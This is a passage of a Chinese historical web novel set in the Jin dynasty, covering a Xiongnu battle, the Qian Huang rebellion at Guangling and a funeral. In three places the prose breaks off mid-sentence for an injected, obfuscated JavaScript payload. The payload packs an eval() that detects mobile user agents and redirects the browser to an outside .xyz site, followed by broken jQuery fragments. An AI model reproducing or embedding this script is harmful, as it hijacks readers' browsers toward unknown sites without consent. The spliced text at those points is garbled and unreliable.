曹超人马皆披甲,马尾的寄生①虽能抵挡后方箭矢,重装却加重战马负担,几个匈奴步兵将长戟一杠,马的前蹄抬不动,硬生生挨了一口子。 马蹄子一受伤,背上的人立时从马上跌落,摔得眼冒金星,下一瞬高大黑影压了下来,五脏六腑被战马压碎,如同被捣烂的豆腐。 口中鲜血如水汽喷薄而出,人马俱动弹不得,匈奴兵迅速捡起地上的横刀将他头颅割下,后面登记在册以受封赏,慢了一步的也想分一杯羹,只好去捡曹超兵器。 施融的马并未披甲,前蹄灵活一扬,跃出了包围,来到诸葛旷身后。 “太守快走!” 他双手持枪,挥向匈奴步兵脖颈,解除诸葛旷围困。 原本要穿过诸葛旷肩胛骨的长矛贴着施融的兜鍪飞去,由于惯性他向前颠去,一只脚套在马镫里,身体半拖于地面。 马受了惊吓盲目驰骋,施融只好去捅马后臀。刘聪在马背上环顾,见机策马追来,拿长槊去捣他腹部,没几下,血窟窿染红了甲胄,握枪的手就此松开。 刘聪身边的小兵冲上前去,揪着施融的头谄媚献上。 不知何处传来稚嫩吟唱,回荡于战场,兵丁手中的兵器惶然一慢,分神去辨,是曹操《蒿里行》末尾几句: 铠甲生虮虱,万姓以死亡。 白骨露于野,千里无鸡鸣。 生民百遗一,念之断人肠。 乍然静得死沉,石勒与诸葛旷坐于马上四目相望。 诸葛旷腿上中了一箭,忍痛将箭矢木杆削齐,再次夹紧马腹砍杀。 石勒蜂眼一眯,原地不动,拉弓搭箭。 “咻咻咻”几声,三箭连发,诸葛旷仰面后倒躲过箭矢,顺手抓起地上死透的匈奴兵背在身后来抵挡弓弩箭,握紧铁槊猛地朝石勒腋下刺去。 石勒在马上接住匈奴兵丢来的斩马剑,冲了上去,刀刀索命。 铁槊与剑相碰,发出“铮铮”金属撞击声,火星四溅。 长刀在石勒手中似绸缎柔软,灵活绞住槊峰,顶了回去,“诸葛旷你的忠心用错了地方,洛阳那群人正在清谈行散,醉生梦死,你却在战场上拼死,不如降我汉赵。” “黄口小儿,当初吾族兄在洛阳城东门派人抓你,不承想晚了一步,竟容你这胡虏归山,今日吾绝不会再放你一马。”酣战一日,诸葛旷铠甲里交领中衣被汗水沁透,四下一望,杀人盈野,晋军所剩无几,他四面楚歌。 落日余晖中,斩马剑闪着金光,随着一声沉重的铁器落地声,一截断臂从半空飞坠,逆光下鲜血似泉涌飞溅。 诸葛旷右臂被切断,石勒再次调转马头,将他一掀,长刀穿破胸膛,如叉鱼一般,将他整个从马上举了起来。 诸葛旷直愣愣看着胸口汩汩热血从指缝流走,蜡梅香囊从怀中滑出,点点鹅黄陪他走了几个月终于干枯,那是他毕生未见的江南。 这一回,他真的见不到了。 枯花成泥,落叶归根,而他的根在何方? 他虽死不悔,回想过去一生陪伴家人时间太少,往后也没有机会看着羲之把字写好。拚尽最后一丝力气将满腔遗憾朝旷野大喊:“吾儿羲之努力多加餐——” 须弥,脑袋沉沉垂下。 几百年前,长平之战就在脚下,赵国败于赵国。几百年后今日,汉人败于匈奴。 匈奴兵想割诸葛旷首级,石勒一声喝住:“传令下去,不准辱他尸体。”誓死不降的将领在任何朝代都令人相惜敬重。 暮色苍茫,残阳如血,一曲悲壮赞歌在广袤无垠沙场回荡,直至最后被夜幕吞噬。 鸣金收兵,刘聪与石勒整顿军队,计数死伤,小兵们将战场上缴获兵器用马驮走。 刘聪乘胜攻克长子、屯留。上党太守接到斥候来报,匈奴斩晋军首级一万九千级,两腿发软瘫坐地上,连夜召见属官商议,天明在城垛上降白幡,开城门以壶关降汉。 消息传到建邺时,士族心中畏葸,暗下里将财帛转移至庄园坞堡,磨刀擦枪,以备洛阳失守,大量流民南下,定居无所势必引起骚动,世家少不了被流民团打家劫舍。 这一日袁延之在秦淮河坐船游玩,两岸垂柳横敧,画船如织穿梭。他倚在船头,香扇遮面,耳畔连绵着丝竹管弦之声。 前两日收到父亲信函,他得知壶关消息,背脊窜上寒意。先前就是担心诸葛旷有去无回,他才去寿春劝阻。眼下石勒渡过黄河,又领三万人进犯徐、豫、兖,洛阳危矣。 听着歌伶吟唱,他有节奏地轻扣船舷,心情却不似表面悠闲。这次能否抵挡住匈奴铁骑? 闻新望着岸上来往的人,一道娉娉袅袅身影在人群中格外瞩目,拍拍袁延之,“郎君,你看看,那个是不是女公子?” 袁延顺着闻新手指方向看去,见赵令仪从窄巷出来,贴着街边走,身边只佩玖一人给她撑伞遮阳。四周一瞧,他并未看到附近有牛车候着,想来她是徒步走来,不愿张扬被人发现。 “夏季日光毒辣,请女公子吃汤饼罢。”他身子往后一仰,扬眉看着闻新。 闻新领会意思,吩咐船夫靠岸停船,腿脚麻利地去请赵令仪。 赵令仪来看望荀氏,怕惹赵睿不悦,对府里人只说是逛街买些胭脂水粉,街市渊薮,不好霸占道路。 从这到安东将军府来回路程要两个时辰多,她没走过远路,加之天气炎热,后背被汗渍浸得生疼,脚后跟也磨破了皮。这会儿坐在树荫下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923930|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,佩玖为她揉腿。 她从袖管里抽出帕子擦汗,不防一阵风吹来,没抓稳,脱手飞走,忽而有只手将帕子一捞,牢牢接住。 赵令仪顺着手臂瞧去,却是闻新那张嬉皮笑的脸:“女公子,我家郎君有请。”说着,把帕子归还。 虽不知袁延之找她所为何事,但见闻新步步紧跟样子,也不容她拒绝。 进画船里赵令仪看到一名伶人跪坐旁侧拨弹琵琶,案上摆着一壶山阴甜酒,还有不少小食,粉饼、水引馎饨、烧饼、切面粥、豚肉饼。都是洛阳常见小吃,在江南却鲜少。 “这几个小食和饼口感滑嫩,夏日食用最佳。尤其是这个豚肉饼,饼成型后,将饼倒入汤中煮熟后捞出,放入冷水中冷却。最后由豚皮制成的肉汁浇在饼上,味道鲜美。”袁延之极为热情,为她盛在小碗里。 赵令仪跪坐他对面,拿起木箸,拨开汤面上葱花,吹了吹送入口中,细嚼慢咽,听不到任何“滋溜”声。 她不喜欢吃葱,袁延之默默记下,又给她碗里添了几个混沌。 赵令仪尝了几口,见他并不动筷,只含笑看着自己吃,这实在太过怪异,不得不令人怀疑汤饼中下了药。“袁郎君只是请我来吃汤饼么?” 只月余不见,赵令仪下颌又瘦削了几分,眉月罩上一层淡淡的忧愁,但一双琥珀眸子神采未减。袁延之听说了荀氏被赶出府,他不喜欢被人怜悯,故而也不会安慰赵令仪,揭开她的伤疤。 “该说女公子聪慧呢,还是对袁某戒心太过。”他见她拿帕子抆嘴,不再动筷,笑谑道:“女公子放心吃罢,不是鸿门宴,勉强算为某饯别。” “践行?”她皱了皱眉。 “太傅征召建威将军从湖州出发,与扬州刺史在广陵集合,一同北上勤王。家父既是扬州刺史的长史,也是要同行的。” 他这是要参军么?赵令仪垂下睫羽,从兄长那也听说了此事,将心中担忧说出:“早前陈敏叛乱时,钱璯带部曲参与平叛有功,升为建威将军。太傅此时想起他,也在意料之内。但太傅并不完全信任吴人,否则也不会让他们于广陵会师。” 兵贵神速,建邺较之湖州距北方更近,本可以让诸葛敦先行北上,却要在广陵等钱璯。 “此去一别,不知何时还能再见女公子这个……”话到嘴边一辍,袁延之不由摇头轻笑,补充道:“朋友。” 同窗为朋,志同道合为友。他几次对她口出诳语,实在算不上志同道合,倒是救命恩情在那。 “郎君考虑好了么?”赵令仪主动为他斟酒,也为自己添一耳杯,“陈敏在江东作乱,钱氏身为江东大族,为利益出力,无可厚非。可这回情况不同,让钱璯在洛阳危急之刻去和匈奴厮杀,难保心不甘情不愿,生出变端。” “郎君多加小心。”赵令仪端酒正欲饮下,袁延之抬手覆上她的手腕,酒液洒在一大一小手上。她不敢看他,垂下眼帘想收回手,结果在一阵抖动中,酒液越洒越多。 那玉腕上的银跳脱沾了酒液,泛着清冷光泽,因她抽回的动作而轻轻摇晃,发出细碎声响。只一眼,他便再也挪不开半分。 佩玖要上前阻止,闻新极有眼力见,将她拉到船头。 袁延之嘴唇翕动良久未出声,见她鸦睫微颤,脸上浮现不自然的潮红,他手缓缓松开,“这酒某回来再饮。” 此刻袁延之怎能料及此行他差点丧命。 12. 虎尾春冰寒(二) 钱璯一到广陵,就收到洛阳来的急报,一听刘聪铁骑已经逼近洛阳,踟蹰不前。对外声称旧伤复发,将自己锁在屋中。 诸葛敦已等候钱璯多时,见不着人又怕耽误军机,绑了郎中来衙署,此时火急火燎往他屋赶来。 守门侍卫早得了命令,死死守在门外,不让诸葛敦上前一分,“诸葛尚书,军医已来看过,交代我等需让将军休息。” 因多次调职诸葛敦对太傅心有不快,太傅为安抚他升为尚书。 诸葛敦扬起马鞭甩在他的脸上,横眉倒竖,叱骂道:“要是耽误军期,你这貉奴负的起责任吗!” 侍卫半低着头盖住眼底的怨毒,手已悄然按在腰间佩刀的刀柄上,手背青筋暴起。 正待侍卫刺向诸葛敦后背,门从里面打开,走出来个女子,钱四娘掠了眼侍卫脸上被刮出的血痕,嗔道:“没有眼力见的东西,还不快滚。” 话音完落,笑颜对诸葛敦做了个“请”的手势。 屋内光线随着诸葛敦跨门刹那略微一暗,钱璯披了件外袍瘫在榻上,听甲胄发出细微的“簌簌”声近了,才睁眼爬起。 才一进门诸葛敦便嗅到空气中浓浓药味,那双锐眼环扫一圈屋内,又回到钱璯身上。钱璯眼睛弹珠似的,跟着诸葛敦视线不断快速转动,见他盯着自己,眼皮抽筋似的,眨个不停。 郎中上前给钱璯把了脉,又看了伤口,沉思须臾,对诸葛敦道:“许是先前将军的伤没养好,这几日碰上雨天,旧伤发作了。” 钱四娘端了药来,扶起钱璯,她吹拂了下喂给他。 诸葛敦给郎中使了个眼色,郎中悟会,躬身告退。“军情耽误不得,将军既然只是旧伤发作,明日整理军队就启程北上罢。” “尚书有所不知,非阿耶刻意拖延,实在是粮草未到。”钱四娘道。 在急行军时,为减轻将士负担,只携带最基本的武器和物资。此时后勤车队可能会被暂时甩在后面,以确保主力部队能够快速前进。 “尚书也知道,带兵打仗,粮草先走。”钱璯把碗在案上向前一推,“粮草集结和运转都需要时间,我是心急如焚,将士们不能空着肚子打仗呐。”他手指又敲了敲空碗,一阵叮当响。 “那就再等几日。”诸葛敦冷声说完快步离去。 钱四娘起身往门外左右横扫,见四周无人关上门,压低声道:“延误军机可是重罪,阿耶应尽早做决断。” “哼,他带郎中探病就是为了试探我。太傅征召我却疑我,命诸葛敦与我同行就是要他来监军。”钱璯嗤之以鼻道,眯了眯眼,“如今匈奴来势汹汹,为父心里没有几成胜算。” 听出言语里颇有骑虎难下之意,钱四娘心生一计,“阿耶若信得过女儿,便让四娘去办。” *** 袁延之在广陵住了几日,身无要职落得个清闲,与闻新在坊市找了一家酒楼坐下。先上了一坛中泠泉之水酿成的京口酒,消暑解渴。与此同时,后厨赶忙现杀鲈鱼,头尾一斫,沿着中间背脊割下,片成薄片,再配以雉尾莼煮熟,一道鲜美的莼羹就上桌了。 酒楼里不时传来孩子嬉笑声,每当稚气身影在店伙计腿间穿行,伙计如陶俑定住一般,只是嘴里不休:“快出去耍,这群小兔崽子,汤水要是浇在头上,我看你们笑不笑得出来。” 三个孩子胯/下骑着扫帚,挥舞着蒲草,口中喊着“驾驾”,出门征战去了。 孩子手中“刀具”打在同伴的胸口,其中一年纪稍小的孩子胳肢窝夹着一根蒲草,佯作中刀。小脸皱成一团,捂着胸口倒下,死前不免一番豪言壮语:“宫门柱,且莫朽,吴当复在三十年后。”吐了口“鲜血”,又曰“鸡鸣不附翼,吴复不用力①”。 闻新从环廊往下看,朝他们扔了一粒花生米,笑问:“你们在演什么?” 地上那名“战死将军”倏忽复活,几个孩子拍拍衣服,撒丫子溜烟不见了。 “吴复不用力……”袁延之默念了遍,心中觉得古怪,探头看了眼孩童离开的方向,对闻新道:“你去问问这几个孩子。” 距东吴覆灭已过几十载,江东的人依旧眷恋孙吴政权,童谣必然背后有人刻意为之。王莽篡位时,有人称挖井得刻字石“告安汉公莽为皇帝”,还有人造“天帝行玺金匮图”,内有题签“赤帝行玺某传予黄帝金策书”,书言王莽当为天子,王莽遂据此登基。 与孙吴时期相比,本朝江东士族势力强大而独立,更倾向于维护自身的利益和地位,而不会全力支持一个统一的江东政权。袁延之一时想不到江南哪个武宗世家暗下有动作,便先回衙署将此事报告给诸葛敦。 楼梯下到一半,袁延之恍然想起酒钱未付,转身与人撞了个满怀。那人连连致歉,他道了句“无妨”,回想起此人方才频频看着自己,一壶果茶吃了好半天,不免心疑此人一路尾随。 穿过甬道,回廊下有女奴洒扫。袁延之见她手中动作缓慢生涩,眼神不时瞥向几个房门,蹑足靠近,在她耳后吐气道:“小娘子找某么?” 女奴惊跳,磕磕巴巴道:“我……我没有……” “那你一直盯着我的房间做什么?”袁延之笑笑,瞧见她将笤帚紧紧握在胸前,留下一句“我没有”,畏怯遁逃。 闻新这时回来了,看女奴低着头迅速从甬道跑走,懵懵地望着袁延之,“郎君,这是……” “进去再说。” 屋内,袁延之将女婢诡异之处,以及疑似有人跟踪说与诸葛敦。袁父贴在门后,盯视外边动静。 闻新将所见道出:“我方才跟了几条街,发现这几个孩子在人多的地方,演绎相同戏码,只是我跟到衙署附近人影就没了,我便回来了。” 诸葛敦听完面色凝重,“前些日子钱璯久病复发,她女儿却频繁进出军营,我正有疑虑。” 单是旧病复发,何至拒人拜见,恰好钱四娘当着他们的面进药,做戏做足。彼时诸葛敦怀疑药材用假,示意郎中检查药渣,但配药中规中矩,也看不出什么异常之处。 此番打草惊蛇,钱璯必会有下一步动作,袁延之如是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923931|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到,“这几日应盯紧军中动向。” 诸葛敦接连几日催问钱璯,钱璯依旧用粮草未到为由搪塞回去,诸葛敦心有怒气却不能拿钱璯怎样,可怜吴地将士被他打骂。无功而返几次,诸葛敦干脆也不过问,钱璯耳朵还没清闲几日,眼睛又疼得厉害。赵睿得知钱璯驻扎广陵不前,每日从建邺送信催促按行军日期进军。 看着眼前一沓信笺,钱璯疲惫地闭眼扶额,“催催催,就知道催!诸葛旷几万大军都败了,我现在北上和送死有什么分别。”他眼睛瞪圆,一捶大腿,乜了眼案上赵睿的书信,烦躁之下,揉成团丢在地上,呼呼大睡。 到了夜中,钱四娘摸黑穿过几个回廊,叫醒了钱璯。钱璯睡眼惺忪,只听门外欻欻脚步声中夹杂着刀剑的碰撞声。 这种声音他再熟悉不过,慌了神,一边摸衣穿上,一边问道:“怎么回事?” “砰!”房门被撞开,进来两名带刀士兵。 “将军,衙署内没搜到广陵太守。” “袁氏父子也没搜到。” 钱四娘对上父亲惑然的眼神,跪地呈刀,“军期延误是死,今夜举大计也是死,等死,阿耶抉择罢。” 夜风吹拂,烛光陡然微弱,钱璯眼睛隐在眉骨阴影之中,随后“桀桀桀”的笑声在房内荡开。“叮”的一响,他拔出匕首,将蜡烛一挑,光焰照亮他眼底的阴鸷。 本朝实行募兵制,钱璯手里的外军多为吴地湖州人,与钱璯是同乡,其中也有部分是钱氏部曲。豪强在乱世中兼并土地庄园,吸纳无地可种的农户,还有流民,成为自己私兵部曲,动辄上千。诸葛敦只带了几百亲兵,与钱璯军队悬殊。 钱四娘收买孩童,制造“吴国复兴”谶言,监视诸葛敦等人动向暴露后,她提早发动混乱,命私兵杀死支度校尉,放火烧城东邸阁②。州郡兵的粮草供应并非中/央调配,主要由地方自行负责,诸葛敦一听军中粮草被烧,便急忙调扬州兵前往城东灭火。 外军和部曲已集结衙署外,这个节骨眼上,钱璯先发制人就能掌握话语权。自古以来讲究师出有名,而找借口对他来说易如反掌。 钱璯站立衙署大门阶上,“诸位江东兄弟,今洛阳被匈奴人攻打,全是因为赵氏亲王和一群北人祸乱朝纲,如今却要我们南人去赴死挽救,凭什么?他们还南渡,占领我江东兄弟土地,欺我江东兄弟。兄弟们不如反了,将这群北伧赶出江东去!” 钱四娘指了队中被诸葛敦鞭笞的士兵,“诸葛敦一个北伧在我江东,却敢辱我江东兄弟。” 不少将士被诸葛敦折辱,本就含怨,加之在酒肆里听到童谣和遗老感慨之言,不免在心里想:若是东吴未灭多好。 “是啊!凭什么!我们江东地盘我们自己说了算,为什么要丧命给北人善后!”那名脸上结痂的士兵不甘道。 “今夜就把诸葛敦这个北人给杀了,用他的血来祭旗。” 钱璯站在台上,一呼百应。 按之前策划的路线,军队从衙署出发,夺取武库后包围城东邸阁。 13. 虎尾春冰寒(三) 军队浩浩汤汤出发,刀锋在银辉下泛着寒光,穿过几条街,钱璯在武库门前勒住马缰。 铜铁大门紧闭,士兵们手持火把,将路照得通明,原已有人在等候。 袁延之骑于马上,目光炯然扫视钱璯一干人,手执麈尾扇从容摇着,“将军率外军深夜来武库重地,有何贵干?” 今夜邸阁失火,袁延之料恐有变故发生,带着尚书手令和印章去找广陵太守调兵。钱璯若要造反,必须要有充足武器,外军备用甲胄还在后勤车队上,远水解不了近渴。而每一州郡都设有武库,自将主意打在此处。 广陵太守只知城东失火,并不晓得钱璯举兵造反,见袁延之亮出尚书符,宦海沉浮多年,深谙官大一级压死人,便迅速找出左瓣虎符交给袁延之。 钱璯看了眼持戟逼近的广陵郡兵,冷笑道:“来武库,自然是来取兵器。” “哦?将军可有广陵太守凋令?”那双多情眸浮上一层寒意。 “没有你又能奈我何?”钱璯不欲与他废话,长剑划过持戟士兵脖颈,见血封喉,剑身上血污在地上那人脸颊左右一揩,厉声道:“给我杀!” “拿下!”麈尾扇朝对面轻轻一挥,武库立即涌出士兵,披坚执锐,袁延之亦躬擐甲胄。 长剑与铁盾相撞,铮鸣作响。广陵郡兵负责维护地方行政秩序,虽铠仗齐全,但敌不过对方人多,部曲更是不要命的打法,瞬间便陷入苦战。 一骑黑影从空荡街道飞奔而来,马上坐着一男一女,女子胸口插着一把匕首,昏死过去。闻新回望后边追兵,将马肚一踢,加快速度。 后方队伍很快追上,为首之人喊话袁延之:“诸葛敦已从城东门逃走了,姓袁的,劝你别再做无谓牺牲,投降罢。” “郎君,快撤退。”闻新刀横在怀中女子颈部,策马退后一段距离后,对钱璯道:“你女儿在我们手中,放我家郎君出城,你女儿便还你。” 钱氏父女兵分两路,钱四娘领私兵一千从衙署包围城东,杀诸葛敦个措手不及,诸葛敦见势不妙,与袁父从城东门逃出。 “姓袁的,你要是个男人,就别拿女人当盾牌。”钱璯亲信道。 钱璯阴笑道:“你说那是我的女儿便是我的女儿了?” “你……虎毒尚不食子。”手中人质突然无用,闻新心底已慌,见袁延之给他使眼色,他抬高嗓子:“好你个钱璯,你军中人都识得你女儿,你女儿一个美娇娘为你冲锋陷阵,你说不是就不是。他连自己女儿都可以放弃,你们这群人就不怕有朝一日被他抛弃吗?” 袁延之趁对方注意力转移,纵马冲出重围,在闻新身下马臀狠狠一刺,两人如箭矢疾驰而去。 钱璯下令去追。亲信上来劝阻:“将军,女郎还在他们手上。”那扈从说的虽是离间之言,但并不无道理,穷追这二人无益,眼下该商定占据何处才是要紧事。 诸葛敦从城门逃出后,马不停蹄南下,并不继续北上勤王。 从前太傅为了筹集江南粮草拉拢过陈敏,陈敏后来叛乱,如今征召的钱璯亦是如此。有这样的掌权人,洛阳无可挽救。太傅授他尚书之位,他此行差点因太傅丧命,如此,也算对得起太傅了。 回到建邺,诸葛敦将钱璯造反消息汇报给赵睿。赵睿分析了诸葛敦回建邺的举动,也知诸葛敦有意脱离太傅掌控,加入自己阵营,便任命诸葛敦为军谘祭酒,负责军事筹划。 身在后衙的赵令仪从赵绍口中听到袁延之落单,手中彩线头从针眼旁擦过。瞧到佩玖已经穿过五个针眼,自己才穿过一个,便将线头捻了捻,对着蜡烛穿针。 “阿兄,那袁三郎……” 木架后,赵裒将汉代流传下来的竹简卷好,套上布袋,递给个子高大的兄长。赵绍一把接过,“我还以为你从此都不愿和阿兄说话了。” “这原没有怪阿兄的道理。”赵令仪轻声道。荀氏被赶出府,赵绍神色如常,赵裒倒是难过了好几日。她以为兄长过继到虞孟母膝下,从长子变为嫡长子,喜悦上头忘了自己生母。 “我七个都穿好了。”佩玖将金针和彩绳收放回针衣囊带,又求助赵裒捉了只喜蛛放入锦盒。 只是那只喜蛛很不安分,赵令仪看它在盒缘上下爬,手心发颤,线头再次擦过针眼。 七月初七,白日晒衣晒书,夜晚妇女陈瓜果于庭中,对月穿七孔针以向织女星乞巧求智,必须一次性穿过针孔才算手巧。 庭院中蝉鸣听得心绪不宁,她抿抿嘴,将金针彩线扔到一旁。赵绍看她愁眉不展,遂去厨房找几个糕点给她。 赵绍把千层糕往案上一推,给她倒了温水,“若有消息,会告诉你的。”这个妹妹一向心思敏感,他性格粗疏,常需琢磨她话中之意。“过两日淮南太守的灵柩便要抬入建邺,小殓时你我必然要到场的。” 赵裒看那雪白糕点如布帛般层层叠着,一片一片撕下,两眼放光,赵令仪露出为数不多的笑,分出一半给他。“我原先便有疑虑,淮南算得上是安东将军府的北方前哨,父亲自然不会举荐他北上,想来是太傅怕父亲在外做大。” 赵绍点点头,若有所思,“投靠太傅决非长久之计,不过现在洛阳危急未解,太傅需要父亲,即便怀疑,也分身乏术。” 赵裒听不懂兄姊在谈论什么,只觉千层糕好吃,看着赵令仪手中没吃完的,眨眨眼问道:“阿姊,你还吃吗?” “阿裒还想要,那就都给阿裒好啦。”她莞尔笑道,轻柔捏了弟弟白胖的脸,转而对赵绍道:“父亲恐怕还要给淮南太守封赏罢,虽是打了败仗,却也比上党太守不战而开城门投降英勇得多。” 这一夜,赵令仪睡不安稳,三更时迷糊醒来。后背冒出薄汗,她起身想到庭院中走走,一拉门,高大的人影笼罩住她,不及她反应过来,那人于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923932|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑夜中准确无误地含住她的唇。 月光透过雕花窗,银辉洒在铜镜上,反射的微光照亮他的唇,原本淡粉的唇从眉梢、耳垂一路游移向下变得红润欲滴,一如海棠经雨胭脂透。 “袁延之,你……” 他不是在广陵被钱璯给……怎会突然出现安东将军府中? “嘘。”他以指点在她的唇上,不允她打破这场旖旎之景。 唇齿间飘出细碎的吟哦声被衣料落于地的窸窣声覆盖。他将她整个人托起,不知何时,修长的手指一勾衣带,探了进去。 赵令仪猛地按住那双不安分的手,弹坐起身。 “女郎?” 赵令仪呼吸一滞,目光向下一撇,佩玖正给她擦身。她双掌捂住脸颊,落水梦魇已许久不纠缠她,不承想又在今夜卷席。 “女郎又梦魇了?我看女郎翻来覆去,还出了许多汗,便给女郎擦身,不想却把女郎弄醒。” “我没事,你去睡罢。”赵令仪捂脸躺下,埋入被中,在心里暗骂袁延之。若以后再见他,她能做到如无其事么。 才回到建邺城的袁延之,狼狈不堪,浑身一股臭汗味。他等不及兰慧烧水,兀自用冷水沐浴,才穿好衣裳,连打几个喷嚏。 “我说什么来着,仙哥有鼻疾,平日就该注意保暖,还敢夜里洗冷水,真是太不当一回事了。”兰慧用干布擦拭他潮湿的发尾。 闻新将库房里火炉搬来,兰慧看他一脸疲色,便让他回去睡觉。转身取梳篦片刻,袁延之几缕头发被烫成卷曲状,兰慧有些心疼,取了些护发草药擦拭发尾。“好好的头发,烫成稻草模样。” “那兰慧姊姊不如帮我头上稻草剪了?”他手指佯作剪刀样在头发上比划,头早枕在习惯的地方。 “胡说什么,身体发肤受之父母,怎可轻易断发。”兰慧见头发烘好,正要推他起身,膝上响起均匀绵长的呼吸声。她早已抱不动他,轻缓将他头放平,盖上锦被。 那夜,袁延之与闻新出城后躲寺庙中,找僧人要了些药救治钱四娘。钱四娘醒后听完钱璯为不受胁迫放弃她,绝望苦笑几声,咬舌自尽。 袁延之分无分文,只能将自己锦袍贱卖,给钱四娘草草下葬。 “郎君,你何必要给她下葬,可惜了那件好衣服。”闻新不明白袁延之对一个乱臣之女要如此尊重。 “若没有她,你我如何能从钱璯几千军队中侥幸逃走。”袁延之将清酒在土堆前一洒,“她身上有伤,自知无法从两个男人手中逃走。她出身于豪强钱氏,必不愿被抓回建邺受辱。倒不如自戕,加深两方仇恨,还可鼓励钱璯军中士气。” “她不过将自己最后价值榨干,奉献给他父亲,亦成全自己最后的体面。”他望了眼建邺的方向,翻身上马。 许是父女最后的默契,钱璯整顿兵马,渡过长江,欲回湖州,召集族内兄弟,为女报仇。 14. 虎尾春冰寒(四) 诸葛旷的棺椁抬到建邺时,羲之才刚睡醒。他搓净脸上眼眵,看到卫氏怀里抱着小弟弟,涕泗横流:“羲之,你阿耶回来了。” 羲之觉得母亲有点奇怪,父亲回来难道不是喜事么,为何母亲两眼汪汪,是喜极而泣吗?他很快穿好鞋袜衣裳,顶着蓬头散发,问道:“阿耶在哪?” 卫氏泣不成声:“在……大……堂……” 他穿过甬道,瞧到大堂里站满许多人,他一一辨认过去,发现自己父亲并不在出场,于是牵住诸葛导的衣角,“从叔,我阿耶在哪呢,我怎么找了一圈没看到?” 诸葛导以袖搌泪:“孩子,你父亲去了。” 竹竿挑起的明旌上书写着“诸葛旷之柩”,家奴们分别拿着燕几、角柶、袭衣。羲之瞅见母亲这会眼泪哭干了,红肿着眼,麻木地取过燕几固定死者双脚,再用角柶插入死者口中。 羲之踮起脚尖,迅速瞥了一眼,愣怔良久,觉得没看清,又踮起脚尖再看一眼,突然尖叫哭起来:“阿耶——” 卫氏已为诸葛旷沐浴栉发过,一臂露肤许多,她又将衣袖拉下几分。恍然想起什么,她捂脸抽噎,将那一臂往衣袖里推,直至双手齐平。 接下来便是派人报丧,送上几尺白布,以制丧服,然后接待前来吊唁的宾客、亲戚。 这日,赵睿携妻儿前来致襚、致奠,卫氏答谢接下虞孟母送来用于殡殓的衣被,覆盖在诸葛旷身上。诸葛旷一家信奉五斗米道,丧葬仪式多以道教仪式为主,特意请道士念诵《青玄萨祖铁罐施食裂丛》《灵宝炼度玄科》两篇道家经文,以超度亡灵。 “羲之,去请你从父来。”卫氏对羲之唤道。 羲之应了声“是”,从席上爬起来,走到偏厅,正要开口叫唤,却听诸葛导与诸葛毓在谈话。 “阿耶糊涂!如今北方沦陷,北士南下已成趋势,有从伯镇守淮南,是阿耶在建邺的一道防线,阿耶却向族伯推荐从叔带兵北上抵抗匈奴。” “小点声!” 羲之连忙躲匿于墙后,手在袖中攥紧,暗自思忖:从叔平日风度悠然,心机却是如此深沉,对待自家人手段竟狠辣至此。他能告诉阿母真相么?恐怕不能,要是从叔想弄死他们孤儿寡母,更是轻而易举,届时当真无人知道阿耶的冤屈。 诸葛导左右观望,瞧廊下无人稍松口气。 廊下甬道处有家奴走来,羲之以手抵唇,示意噤声,拉家奴走远些,低声吩咐:“安东将军前来吊唁,你去将我从叔叫到大堂,莫说我在这儿出现过。”说完,若无其事回到大堂。 移时,诸葛导与诸葛毓从偏厅出来,赵睿命家奴送上猪头、鱼、公鸡为祭品,诸葛导与卫氏殷谢接下。女婢端上清水、净布,赵睿与妻儿几个盥洗完毕,上香跪拜。 赵令仪起身时,袁氏父子进堂,白布素服穿在袁延之身上,不见庄严,他体态瘦长挺拔,反倒生出一种俏丽之感。听闻他从钱璯手下狼狈南归,此刻他脸上神采不减,眉梢眼角难掩风流。 袁延之缓步穿过白帷,与诸葛导、赵睿揖拜,抬眸之际在赵令仪身上一溜,赵令仪亦对袁父行个福礼。她今日头戴环绖,只缀一根玉簪,愁眉蹙额,眼睫盈盈,身姿纤细,如暴风雨中摇曳的白莲。 几人上完香,诸葛导命人上茶,后面陆续有亲友上门吊唁,诸葛导又忙着招呼去。 席间赵令仪与袁延之虽无交流,却频频相视。她隐于层层密密白帷后,与他又隔着重重叠叠人影。 赵睿不免要与士族叙谈几句,离开了席位。赵令仪与赵裒年纪已不能同席,赵裒见到廊下有只雪白的猫儿,正是孩子心性时候,以为悄然离场无人看见,却不想姊姊跟在后头。 “阿裒,你别这里乱跑。”赵裒人虽小,两条腿极为快,出了灵堂,赵令仪便看不见赵裒人影了。 诸葛府甬道比赵令仪住的衙署多,她不便乱闯,偶有家奴经过,她在胸前比划了下赵裒的身高,问是否瞧见。今日有不少的亲友前来吊唁,与赵裒等大的孩子也有几个,倒是把家奴给为难住了。 若是让她抓住,她定要给这个调皮小孩略施小惩。 “哇,阿姊,我在这。” 